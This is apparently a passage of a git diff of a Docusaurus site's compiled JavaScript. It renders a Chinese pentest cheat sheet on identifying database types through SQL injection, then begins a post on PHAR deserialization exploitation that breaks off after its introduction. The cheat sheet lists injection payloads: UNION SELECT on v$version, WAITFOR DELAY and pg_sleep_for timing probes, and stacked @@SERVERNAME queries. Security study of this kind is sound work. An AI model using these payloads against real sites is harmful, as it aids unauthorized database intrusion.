row_count()"})]})]})]})]}),"\n",(0,l.jsx)(n.h2,{id:"oracle",children:"Oracle"}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,l.jsxs)(n.table,{children:[(0,l.jsx)(n.thead,{children:(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.th,{style:{textAlign:"left"},children:"\u63cf\u8ff0"}),(0,l.jsx)(n.th,{style:{textAlign:"left"},children:"\u8bed\u53e5"}),(0,l.jsx)(n.th,{}),(0,l.jsx)(n.th,{})]})}),(0,l.jsxs)(n.tbody,{children:[(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{style:{textAlign:"left"},children:"\u5b57\u7b26\u4e32\u8fde\u63a5"}),(0,l.jsx)(n.td,{style:{textAlign:"left"},children:"`page.jsp?id='"}),(0,l.jsx)(n.td,{}),(0,l.jsx)(n.td,{children:"'oracle' -- a`"})]}),(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{style:{textAlign:"left"},children:"\u9ed8\u8ba4\u8868"}),(0,l.jsxs)(n.td,{style:{textAlign:"left"},children:[(0,l.jsx)(n.code,{children:"page.jsp?id='UNION SELECT 1 FROM v$version --"})," ",(0,l.jsx)(n.code,{children:"select banner FROM v$version"})," ",(0,l.jsx)(n.code,{children:"select banner FROM v$version WHERE rownum=1"})]}),(0,l.jsx)(n.td,{}),(0,l.jsx)(n.td,{})]}),(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{style:{textAlign:"left"},children:"\u9519\u8bef\u6d88\u606f(\u6839\u636e\u8fd4\u56de\u7684\u9519\u8bef\u4fe1\u606f\u5224\u65ad)"}),(0,l.jsx)(n.td,{style:{textAlign:"left"},children:(0,l.jsx)(n.code,{children:"page.jsp?id='"})}),(0,l.jsx)(n.td,{}),(0,l.jsx)(n.td,{})]})]})]}),"\n",(0,l.jsx)(n.h2,{id:"mssql",children:"MSSQL"}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,l.jsxs)(n.table,{children:[(0,l.jsx)(n.thead,{children:(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.th,{style:{textAlign:"left"},children:"\u63cf\u8ff0"}),(0,l.jsx)(n.th,{style:{textAlign:"left"},children:"\u8bed\u53e5"})]})}),(0,l.jsxs)(n.tbody,{children:[(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{style:{textAlign:"left"},children:"WAITFOR \u51fd\u6570"}),(0,l.jsx)(n.td,{style:{textAlign:"left"},children:(0,l.jsx)(n.code,{children:"page.asp?id=';WAITFOR DELAY '00:00:10'; --"})})]}),(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{style:{textAlign:"left"},children:"\u5806\u53e0\u67e5\u8be2\u9ed8\u8ba4\u53d8\u91cf"}),(0,l.jsx)(n.td,{style:{textAlign:"left"},children:(0,l.jsx)(n.code,{children:"page.asp?id=sql'; SELECT @@SERVERNAME --"})})]}),(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{style:{textAlign:"left"},children:"\u9519\u8bef\u6d88\u606f(\u6839\u636e\u8fd4\u56de\u7684\u9519\u8bef\u4fe1\u606f\u5224\u65ad)"}),(0,l.jsx)(n.td,{style:{textAlign:"left"},children:(0,l.jsx)(n.code,{children:"page.asp?id='"})})]}),(0,l.jsxs)(n.tr,{children:[(0,l.jsxs)(n.td,{style:{textAlign:"left"},children:["\u9519\u8bef\u6d88\u606f(\u5982\u679cid\u53c2\u6570\u662f\u6574\u6570\uff0c \u5219",(0,l.jsx)(n.code,{children:"@@SERVERNAME"}),"\u53d8\u91cf\u7684\u5b57\u7b26\u4e32\u503c\u53ef\u80fd\u5bfc\u81f4\u8f6c\u6362\u9519\u8bef)"]}),(0,l.jsx)(n.td,{style:{textAlign:"left"},children:(0,l.jsx)(n.code,{children:"page.asp?id=@@SERVERNAME"})})]}),(0,l.jsxs)(n.tr,{children:[(0,l.jsxs)(n.td,{style:{textAlign:"left"},children:["\u9519\u8bef\u6d88\u606f(\u5982\u679cid\u53c2\u6570\u662f\u6574\u6570\uff0c \u5219",(0,l.jsx)(n.code,{children:"@@SERVERNAME"}),"\u53d8\u91cf\u7684\u5b57\u7b26\u4e32\u503c\u53ef\u80fd\u5bfc\u81f4\u8f6c\u6362\u9519\u8bef)"]}),(0,l.jsx)(n.td,{style:{textAlign:"left"},children:(0,l.jsx)(n.code,{children:"page.asp?id=0/@@SERVERNAME"})})]}),(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{style:{textAlign:"left"},children:"\u5e38\u91cf"}),(0,l.jsxs)(n.td,{style:{textAlign:"left"},children:[(0,l.jsx)(n.code,{children:"@@pack_received"}),(0,l.jsx)(n.br,{}),(0,l.jsx)(n.code,{children:"@@rowcount"})]})]})]})]}),"\n",(0,l.jsx)(n.h2,{id:"postgresql",children:"PostgreSQL"}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,l.jsxs)(n.table,{children:[(0,l.jsx)(n.thead,{children:(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.th,{style:{textAlign:"left"},children:"\u63cf\u8ff0"}),(0,l.jsx)(n.th,{style:{textAlign:"left"},children:"\u8bed\u53e5"})]})}),(0,l.jsxs)(n.tbody,{children:[(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{style:{textAlign:"left"},children:"\u5b57\u7b26\u4e32\u8fde\u63a5"}),(0,l.jsx)(n.td,{style:{textAlign:"left"},children:(0,l.jsx)(n.code,{children:"id=1 and 'a'+'b'='a'"})})]}),(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{style:{textAlign:"left"},children:"\u4f11\u7720\u51fd\u6570"}),(0,l.jsx)(n.td,{style:{textAlign:"left"},children:(0,l.jsx)(n.code,{children:"page.jsp?id=' and (select pg_sleep_for('5 sec')) is null -- a"})})]})]})]}),"\n",(0,l.jsx)(n.h2,{id:"access",children:"Access"}),"\n",(0,l.jsxs)(n.blockquote,{children:["\n",(0,l.jsx)(n.p,{children:"[!Warning]"}),"\n",(0,l.jsx)(n.p,{children:"Access\u662f\u8f7b\u91cf\u7ea7\u6570\u636e\u5e93\uff0c\u7279\u70b9\u662f\u53ea\u6709\u5355\u4e2a\u5e93\uff0c\u6ca1\u6709\u7528\u6237\uff0c\u5355\u6587\u4ef6\u5373\u53ef\u5b58\u50a8\u6570\u636e\uff0c\u5728SQL\u6ce8\u5165\u65f6\u5fc5\u987b\u731c\u6d4b\u8868\u540d\u548c\u5217\u540d\u3002\nAccess\u53ea\u6709\u8054\u5408\u6ce8\u5165\u548c\u5e03\u5c14\u76f2\u6ce8\u3002"}),"\n"]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,l.jsxs)(n.table,{children:[(0,l.jsx)(n.thead,{children:(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.th,{children:"\u63cf\u8ff0"}),(0,l.jsx)(n.th,{children:"\u8bed\u53e5"})]})}),(0,l.jsxs)(n.tbody,{children:[(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{children:"access\u65e0\u6cd5\u60f3\u5176\u4ed6\u6570\u636e\u5e93\u90a3\u6837\u53ea\u80fd\u53bb\u731c\u6d4b\u6570\u636e\u5e93\u547d"}),(0,l.jsx)(n.td,{children:"......"})]}),(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{children:"access\u7a7a\u767d\u7b26"}),(0,l.jsx)(n.td,{children:"%20\uff0c%09\uff0c%0A\uff0c%0C\uff0c%0D"})]})]})]}),"\n",(0,l.jsx)(n.h2,{id:"\u603b\u7ed3\u7ecf\u9a8c",children:"\u603b\u7ed3\u7ecf\u9a8c"}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,l.jsxs)(n.table,{children:[(0,l.jsx)(n.thead,{children:(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.th,{children:"\u65b9\u6cd5"}),(0,l.jsx)(n.th,{children:"\u63cf\u8ff0"})]})}),(0,l.jsxs)(n.tbody,{children:[(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{children:"\u5e38\u89c1\u642d\u914d"}),(0,l.jsxs)(n.td,{children:[(0,l.jsx)(n.strong,{children:"asp"}),":sql server,Access",(0,l.jsx)(n.br,{}),(0,l.jsx)(n.strong,{children:".net"})," :sql server",(0,l.jsx)(n.br,{}),(0,l.jsx)(n.strong,{children:"php"}),":PostgreSQL,Mysql",(0,l.jsx)(n.br,{}),(0,l.jsx)(n.strong,{children:"java"}),":Oracle,Mysql"]})]}),(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{children:"\u5404\u6570\u636e\u5e93\u6807\u5fd7\u6027\u4fe1\u606f"}),(0,l.jsxs)(n.td,{children:[(0,l.jsx)(n.strong,{children:"sql server"}),"\uff1aselect@@version ",(0,l.jsx)(n.br,{}),(0,l.jsx)(n.strong,{children:"Oracle"}),"\uff1aselect banner from v$version",(0,l.jsx)(n.br,{}),(0,l.jsx)(n.strong,{children:"mysql"}),"\uff1aselect @@version\uff0cversion() -- \uff0clength(user)>0\u6b63\u5e38",(0,l.jsx)(n.br,{}),(0,l.jsx)(n.strong,{children:"postgresql"}),"\uff1aselect version() --"]})]}),(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{children:"\u5404\u6570\u636e\u5e93\u7279\u6709\u7684\u51fd\u6570"}),(0,l.jsxs)(n.td,{children:[(0,l.jsx)(n.strong,{children:"sql server"}),": @@pack_received @@rowcount",(0,l.jsx)(n.br,{}),(0,l.jsx)(n.strong,{children:"mysql"}),":connection_id() last_insert_id() row_count()",(0,l.jsx)(n.br,{}),(0,l.jsx)(n.strong,{children:"orcale"}),":bitand(1,1)",(0,l.jsx)(n.br,{}),(0,l.jsx)(n.strong,{children:"postgresql"}),": select extract(dow from now())"]})]}),(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{children:"\u5bf9\u4e8e\u5b57\u7b26\u4e32\u5904\u7406\u65b9\u5f0f"}),(0,l.jsxs)(n.td,{children:[(0,l.jsx)(n.strong,{children:"sql server"})," \uff1aid=1 and 'a'+'b'='ab' --",(0,l.jsx)(n.br,{}),(0,l.jsx)(n.strong,{children:"mssql"}),":id=1 and 'a'+'b'='ab'",(0,l.jsx)(n.br,{}),(0,l.jsx)(n.strong,{children:"mysql"}),":id=1 and 'a'+'b'='ab' \uff0c 'ab'=concat('a','b')",(0,l.jsx)(n.br,{}),(0,l.jsx)(n.strong,{children:"oracle"}),":id=1 and 'a'+'b'='a'",(0,l.jsx)(n.br,{}),(0,l.jsx)(n.strong,{children:"postgresql"})," :id=1 and 'a'+'b'='a'"]})]}),(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{children:"\u7279\u5b9a\u8868"}),(0,l.jsxs)(n.td,{children:[(0,l.jsx)(n.strong,{children:"mssql,postgresql,mysql"}),"\uff1a",(0,l.jsx)(n.code,{children:"information_schema"})," ",(0,l.jsx)(n.br,{}),(0,l.jsx)(n.strong,{children:"postgresql"}),"\uff1a",(0,l.jsx)(n.code,{children:"pg_tables"})," => ",(0,l.jsx)(n.br,{}),(0,l.jsx)(n.strong,{children:"mssql"}),"\uff1a",(0,l.jsx)(n.code,{children:"sysobjects"}),(0,l.jsx)(n.br,{}),(0,l.jsx)(n.strong,{children:"oracle"}),"\uff1a",(0,l.jsx)(n.code,{children:"all_tables,user_tables"})]})]}),(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{children:"\u62a5\u9519banner\u4fe1\u606f"}),(0,l.jsx)(n.td,{children:"...."})]})]})]}),"\n",(0,l.jsx)(n.h2,{id:"\u53c2\u8003",children:"\u53c2\u8003"}),"\n",(0,l.jsxs)(n.ul,{children:["\n",(0,l.jsxs)(n.li,{children:["\n",(0,l.jsx)(n.p,{children:(0,l.jsx)(n.a,{href:"https://blog.gm7.org/%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/01.%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95/02.WEB%E6%BC%8F%E6%B4%9E/01.SQL%E6%B3%A8%E5%85%A5/02.%E6%95%B0%E6%8D%AE%E5%BA%93%E8%AF%86%E5%88%AB/",children:"\u6570\u636e\u5e93\u8bc6\u522b \xb7 d4m1ts \u77e5\u8bc6\u5e93"})}),"\n"]}),"\n",(0,l.jsxs)(n.li,{children:["\n",(0,l.jsx)(n.p,{children:(0,l.jsx)(n.a,{href:"https://www.modb.pro/db/96004",children:"SQL\u6ce8\u5165-\u6570\u636e\u5e93\u7c7b\u578b\u5224\u65ad - \u58a8\u5929\u8f6e"})}),"\n"]}),"\n"]})]})}function j(e={}){const{wrapper:n}={...(0,r.R)(),...e.components};return n?(0,l.jsx)(n,{...e,children:(0,l.jsx)(h,{...e})}):h(e)}}}]); \ No newline at end of file diff --git a/assets/js/2308dad9.82a5874f.js b/assets/js/2308dad9.82a5874f.js new file mode 100644 index 0000000..036eced --- /dev/null +++ b/assets/js/2308dad9.82a5874f.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[3926],{28453:(n,e,i)=>{i.d(e,{R:()=>c,x:()=>l});var s=i(96540);const t={},r=s.createContext(t);function c(n){const e=s.useContext(r);return s.useMemo(function(){return"function"==typeof n?n(e):{...e,...n}},[e,n])}function l(n){let e;return e=n.disableParentContext?"function"==typeof n.components?n.components(t):n.components||t:c(n.components),s.createElement(r.Provider,{value:e},n.children)}},73511:(n,e,i)=>{i.r(e),i.d(e,{assets:()=>a,contentTitle:()=>l,default:()=>p,frontMatter:()=>c,metadata:()=>s,toc:()=>h});const s=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u4ee3\u7801\u5ba1\u8ba1/PHP/\u8bb0\u5f55\u4e00\u6b21\u5bf9PHAR\u53cd\u5e8f\u5217\u5316\u7684\u5229\u7528","title":"\u8bb0\u5f55\u4e00\u6b21\u5bf9PHAR\u53cd\u5e8f\u5217\u5316\u7684\u5229\u7528","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/03.\u4ee3\u7801\u5ba1\u8ba1/02.PHP/03.\u8bb0\u5f55\u4e00\u6b21\u5bf9PHAR\u53cd\u5e8f\u5217\u5316\u7684\u5229\u7528.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/03.\u4ee3\u7801\u5ba1\u8ba1/02.PHP","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u4ee3\u7801\u5ba1\u8ba1/PHP/\u8bb0\u5f55\u4e00\u6b21\u5bf9PHAR\u53cd\u5e8f\u5217\u5316\u7684\u5229\u7528","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u4ee3\u7801\u5ba1\u8ba1/PHP/\u8bb0\u5f55\u4e00\u6b21\u5bf9PHAR\u53cd\u5e8f\u5217\u5316\u7684\u5229\u7528","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/03.\u4ee3\u7801\u5ba1\u8ba1/02.PHP/03.\u8bb0\u5f55\u4e00\u6b21\u5bf9PHAR\u53cd\u5e8f\u5217\u5316\u7684\u5229\u7528.md","tags":[],"version":"current","sidebarPosition":3,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"PHP\u4ee3\u7801\u5ba1\u8ba1","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u4ee3\u7801\u5ba1\u8ba1/PHP/PHP\u4ee3\u7801\u5ba1\u8ba1"},"next":{"title":"GO-CMS\u4ee3\u7801\u5ba1\u8ba1","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u4ee3\u7801\u5ba1\u8ba1/Go/GO-CMS\u4ee3\u7801\u5ba1\u8ba1"}}');var t=i(74848),r=i(28453);const c={},l="\u8bb0\u5f55\u4e00\u6b21\u5bf9PHAR\u53cd\u5e8f\u5217\u5316\u7684\u5229\u7528",a={},h=[{value:"1. \u524d\u8a00",id:"1-\u524d\u8a00",level:2},{value:"2. phar\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e",id:"2-phar\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e",level:2},{value:"2.1 phar\u63cf\u8ff0",id:"21-phar\u63cf\u8ff0",level:3},{value:"2.2 phar\u6587\u4ef6\u7684\u7ed3\u6784",id:"22-phar\u6587\u4ef6\u7684\u7ed3\u6784",level:3},{value:"2.3 \u751f\u6210\u4e00\u4e2aphar\u6587\u4ef6",id:"23-\u751f\u6210\u4e00\u4e2aphar\u6587\u4ef6",level:3},{value:"2.4 \u6f0f\u6d1e\u5229\u7528\u6761\u4ef6",id:"24-\u6f0f\u6d1e\u5229\u7528\u6761\u4ef6",level:3},{value:"2.5 \u53d7\u5f71\u54cd\u7684\u6587\u4ef6\u64cd\u4f5c\u51fd\u6570",id:"25-\u53d7\u5f71\u54cd\u7684\u6587\u4ef6\u64cd\u4f5c\u51fd\u6570",level:3},{value:"3. \u6f0f\u6d1e\u7684\u5229\u7528\u5b9e\u4f8b",id:"3-\u6f0f\u6d1e\u7684\u5229\u7528\u5b9e\u4f8b",level:2},{value:"3.1 \u7b80\u5355\u6848\u4f8b",id:"31-\u7b80\u5355\u6848\u4f8b",level:3},{value:"3.2 \u9a91\u67d0 CMS v3.44.0",id:"32-\u9a91\u67d0-cms-v3440",level:3},{value:"3.2.1 \u5229\u7528\u601d\u8def",id:"321-\u5229\u7528\u601d\u8def",level:4},{value:"3.2.2 \u6587\u4ef6\u4e0a\u4f20",id:"322-\u6587\u4ef6\u4e0a\u4f20",level:4},{value:"3.2.3 \u5b58\u5728\u53cd\u5e8f\u5217\u5316\u5229\u7528\u94fe",id:"323-\u5b58\u5728\u53cd\u5e8f\u5217\u5316\u5229\u7528\u94fe",level:4},{value:"3.2.4 \u89e6\u53d1\u53cd\u5e8f\u5217\u5316",id:"324-\u89e6\u53d1\u53cd\u5e8f\u5217\u5316",level:4},{value:"3.2.5 \u5229\u7528\u8fc7\u7a0b",id:"325-\u5229\u7528\u8fc7\u7a0b",level:4},{value:"3.3 \u67d0\u67d0CMS\uff08\u63d0\u4ea4\u5b98\u65b9\u4e86\uff0c\u6682\u65f6\u4e0d\u8ba9\u516c\u5e03\uff09",id:"33-\u67d0\u67d0cms\u63d0\u4ea4\u5b98\u65b9\u4e86\u6682\u65f6\u4e0d\u8ba9\u516c\u5e03",level:3},{value:"4. \u514d\u8d23\u58f0\u660e",id:"4-\u514d\u8d23\u58f0\u660e",level:2},{value:"5. \u53c2\u8003",id:"5-\u53c2\u8003",level:2}];function d(n){const e={a:"a",code:"code",del:"del",h1:"h1",h2:"h2",h3:"h3",h4:"h4",header:"header",img:"img",li:"li",ol:"ol",p:"p",pre:"pre",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,r.R)(),...n.components};return(0,t.jsxs)(t.Fragment,{children:[(0,t.jsxs)(e.table,{children:[(0,t.jsx)(e.thead,{children:(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,t.jsx)(e.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,t.jsx)(e.tbody,{children:(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{style:{textAlign:"left"},children:(0,t.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,t.jsx)(e.td,{style:{textAlign:"left"},children:"2025-03-03 16:42:30"})]})})]}),"\n",(0,t.jsx)(e.header,{children:(0,t.jsx)(e.h1,{id:"\u8bb0\u5f55\u4e00\u6b21\u5bf9phar\u53cd\u5e8f\u5217\u5316\u7684\u5229\u7528",children:"\u8bb0\u5f55\u4e00\u6b21\u5bf9PHAR\u53cd\u5e8f\u5217\u5316\u7684\u5229\u7528"})}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.del,{children:"\u524d\u534a\u90e8\u5206\u662f\u6284\u7684\uff0c\u4e0d\u60f3\u603b\u7ed3\u4e86\u3002\u4e3b\u8981\u770b\u6f0f\u6d1e\u5229\u7528\u5b9e\u4f8b"})}),"\n",(0,t.jsx)(e.h2,{id:"1-\u524d\u8a00",children:"1. \u524d\u8a00"}),"\n",(0,t.jsxs)(e.p,{children:["\u968f\u7740 Web \u5b89\u5168\u4e0d\u65ad\u53d1\u5c55\uff0c\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e\u5df2\u6210\u4e3a\u4e00\u79cd\u88ab\u5e7f\u6cdb\u5229\u7528\u7684\u653b\u51fb\u624b\u6bb5\uff0c\u7279\u522b\u662f\u5728 PHP \u751f\u6001\u4e2d\u3002",(0,t.jsx)(e.strong,{children:"PHAR\uff08PHP Archive\uff09\u6587\u4ef6"}),"\u4f5c\u4e3a\u4e00\u79cd\u7528\u4e8e\u6253\u5305 PHP \u5e94\u7528\u7a0b\u5e8f\u7684\u683c\u5f0f\uff0c\u5176\u7b80\u4fbf\u7684\u5c01\u88c5\u65b9\u5f0f\u548c\u6267\u884c\u80fd\u529b\u8ba9\u5b83\u6210\u4e3a\u4e86\u653b\u51fb\u8005\u9752\u7750\u7684\u76ee\u6807\u30022015 \u5e74\uff0cStefan Esser \u5728 ",(0,t.jsx)(e.strong,{children:"Black Hat USA 2015"})," \u6f14\u8bb2\u4e2d\u9996\u6b21\u63ed\u793a\u4e86 PHP \u4e2d ",(0,t.jsx)(e.strong,{children:"PHAR \u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e"})," \u7684\u4e25\u91cd\u6027\u3002\u8fd9\u4e00\u6f0f\u6d1e\u5141\u8bb8\u653b\u51fb\u8005\u901a\u8fc7\u6784\u9020\u7279\u5236\u7684\u6076\u610f PHAR \u6587\u4ef6\uff0c\u7ed5\u8fc7 PHP \u5185\u7f6e\u7684\u5b89\u5168\u673a\u5236\uff0c\u6267\u884c\u4efb\u610f\u4ee3\u7801\uff0c\u7ed9 Web \u5e94\u7528\u5e26\u6765\u4e86\u6781\u5927\u7684\u98ce\u9669\u3002"]}),"\n",(0,t.jsxs)(e.p,{children:["\u5c3d\u7ba1\u8fd9\u4e00\u6f0f\u6d1e\u5df2\u7ecf\u88ab\u516c\u5f00\u591a\u5e74\uff0c\u4f46\u5b83\u4f9d\u7136\u5728\u67d0\u4e9b\u60c5\u51b5\u4e0b\u53ef\u4ee5\u88ab\u6709\u6548\u5229\u7528\uff0c\u7279\u522b\u662f\u5bf9\u4e8e\u7f3a\u4e4f\u9002\u5f53\u8f93\u5165\u9a8c\u8bc1\u548c\u5b89\u5168\u914d\u7f6e\u7684\u5e94\u7528\u7a0b\u5e8f\u3002\u672c\u6587\u5c06\u6df1\u5165\u63a2\u8ba8 ",(0,t.jsx)(e.strong,{children:"PHAR \u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e"})," \u7684\u539f\u7406\u3001\u53d1\u73b0\u8fc7\u7a0b\u4ee5\u53ca\u5b9e\u9645\u5229\u7528\u65b9\u5f0f\uff0c\u65e8\u5728\u5e2e\u52a9\u5f00\u53d1\u8005\u548c\u5b89\u5168\u7814\u7a76\u4eba\u5458\u7406\u89e3\u8fd9\u4e00\u653b\u51fb\u6a21\u5f0f\u5e76\u91c7\u53d6\u76f8\u5e94\u7684\u9632\u62a4\u63aa\u65bd\u3002"]}),"\n",(0,t.jsxs)(e.p,{children:["\u9664\u4e86",(0,t.jsx)(e.code,{children:"unserialize()"}),"\u6765\u5229\u7528\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e\u4e4b\u5916\uff0c\u8fd8\u53ef\u4ee5\u5229\u7528phar\u6587\u4ef6\u4ee5\u5e8f\u5217\u5316\u7684\u5f62\u5f0f\u5b58\u50a8\u7528\u6237\u81ea\u5b9a\u4e49\u7684meta-data\u8fd9\u4e00\u7279\u6027\uff0c\u6269\u5927php\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e\u7684\u653b\u51fb\u9762\u3002\u8be5\u65b9\u6cd5\u5728\u6587\u4ef6\u7cfb\u7edf\u51fd\u6570\uff08",(0,t.jsx)(e.code,{children:"file_exists()"}),"\u3001",(0,t.jsx)(e.code,{children:"is_dir()"}),"\u7b49\uff09\u53c2\u6570\u53ef\u63a7\u7684\u60c5\u51b5\u4e0b\uff0c\u914d\u5408",(0,t.jsx)(e.code,{children:"phar://"}),"\u4f2a\u534f\u8bae\uff0c\u53ef\u4ee5\u4e0d\u4f9d\u8d56",(0,t.jsx)(e.code,{children:"unserialize()"}),"\u76f4\u63a5\u8fdb\u884c\u53cd\u5e8f\u5217\u5316\u64cd\u4f5c\u3002"]}),"\n",(0,t.jsx)(e.h2,{id:"2-phar\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e",children:"2. phar\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e"}),"\n",(0,t.jsx)(e.h3,{id:"21-phar\u63cf\u8ff0",children:"2.1 phar\u63cf\u8ff0"}),"\n",(0,t.jsx)(e.p,{children:"PHAR\uff08PHP Archive\uff09\u662f PHP \u7684\u4e00\u4e2a\u6863\u6848\u683c\u5f0f\uff0c\u5b83\u5141\u8bb8\u5c06\u591a\u4e2a PHP \u6587\u4ef6\u3001\u8d44\u6e90\u548c\u5e93\u6253\u5305\u6210\u4e00\u4e2a\u6587\u4ef6\uff0c\u7c7b\u4f3c\u4e8e Java \u7684 JAR \u6587\u4ef6\u6216 Python \u7684 ZIP \u6587\u4ef6\u3002\u901a\u8fc7\u4f7f\u7528 PHAR\uff0c\u5f00\u53d1\u8005\u53ef\u4ee5\u65b9\u4fbf\u5730\u5c06 PHP \u7a0b\u5e8f\u548c\u76f8\u5173\u7684\u8d44\u6e90\u6253\u5305\u6210\u4e00\u4e2a\u6587\u4ef6\uff0c\u65b9\u4fbf\u5206\u53d1\u548c\u90e8\u7f72\u3002"}),"\n",(0,t.jsxs)(e.p,{children:["PHAR \u6587\u4ef6\u662f\u538b\u7f29\u7684\uff0c\u53ef\u4ee5\u5305\u542b PHP \u6587\u4ef6\u3001\u56fe\u7247\u3001\u914d\u7f6e\u6587\u4ef6\u7b49\uff0c\u89e3\u538b\u540e\u76f4\u63a5\u53ef\u4ee5\u8fd0\u884c\u3002PHP \u7684\u5185\u7f6e\u6269\u5c55\u652f\u6301\u52a0\u8f7d\u548c\u6267\u884c PHAR \u6587\u4ef6\u5185\u5bb9\u3002\u4e00\u822c\u60c5\u51b5\u4e0b\uff0cPHAR \u6587\u4ef6\u53ef\u4ee5\u901a\u8fc7 ",(0,t.jsx)(e.code,{children:"phar://"})," \u534f\u8bae\u76f4\u63a5\u8bbf\u95ee\u3002"]}),"\n",(0,t.jsx)(e.p,{children:"PHAR \u6587\u4ef6\u7684\u5e38\u89c1\u7528\u9014\u5305\u62ec\uff1a"}),"\n",(0,t.jsxs)(e.ul,{children:["\n",(0,t.jsx)(e.li,{children:"\u5c06 PHP \u7a0b\u5e8f\u6216\u5e93\u6253\u5305\u4e3a\u4e00\u4e2a\u72ec\u7acb\u7684\u6587\u4ef6\uff0c\u65b9\u4fbf\u5206\u53d1\u3002"}),"\n",(0,t.jsx)(e.li,{children:"\u4f5c\u4e3a\u5e94\u7528\u7a0b\u5e8f\u7684\u4e00\u4e2a\u6a21\u5757\u6216\u63d2\u4ef6\u3002"}),"\n",(0,t.jsx)(e.li,{children:"\u4fbf\u4e8e\u538b\u7f29\u548c\u4f18\u5316\u4ee3\u7801\uff0c\u51cf\u5c11\u6587\u4ef6\u6570\u91cf\u3002"}),"\n"]}),"\n",(0,t.jsx)(e.h3,{id:"22-phar\u6587\u4ef6\u7684\u7ed3\u6784",children:"2.2 phar\u6587\u4ef6\u7684\u7ed3\u6784"}),"\n",(0,t.jsx)(e.p,{children:"phar\u6587\u4ef6\u90fd\u5305\u542b\u4ee5\u4e0b\u51e0\u4e2a\u90e8\u5206\uff1a"}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-php",children:"1. stub\n phar\u6587\u4ef6\u7684\u6807\u5fd7\uff0c\u5fc5\u987b\u4ee5 xxx __HALT_COMPILER();?> \u7ed3\u5c3e\uff0c\u5426\u5219\u65e0\u6cd5\u8bc6\u522b\u3002xxx\u53ef\u4ee5\u4e3a\u81ea\u5b9a\u4e49\u5185\u5bb9\u3002\n2. manifest\n phar\u6587\u4ef6\u672c\u8d28\u4e0a\u662f\u4e00\u79cd\u538b\u7f29\u6587\u4ef6\uff0c\u5176\u4e2d\u6bcf\u4e2a\u88ab\u538b\u7f29\u6587\u4ef6\u7684\u6743\u9650\u3001\u5c5e\u6027\u7b49\u4fe1\u606f\u90fd\u653e\u5728\u8fd9\u90e8\u5206\u3002\u8fd9\u90e8\u5206\u8fd8\u4f1a\u4ee5\u5e8f\u5217\u5316\u7684\u5f62\u5f0f\u5b58\u50a8\u7528\u6237\u81ea\u5b9a\u4e49\u7684meta-data\uff0c\u8fd9\u662f\u6f0f\u6d1e\u5229\u7528\u6700\u6838\u5fc3\u7684\u5730\u65b9\u3002\n3. content\n 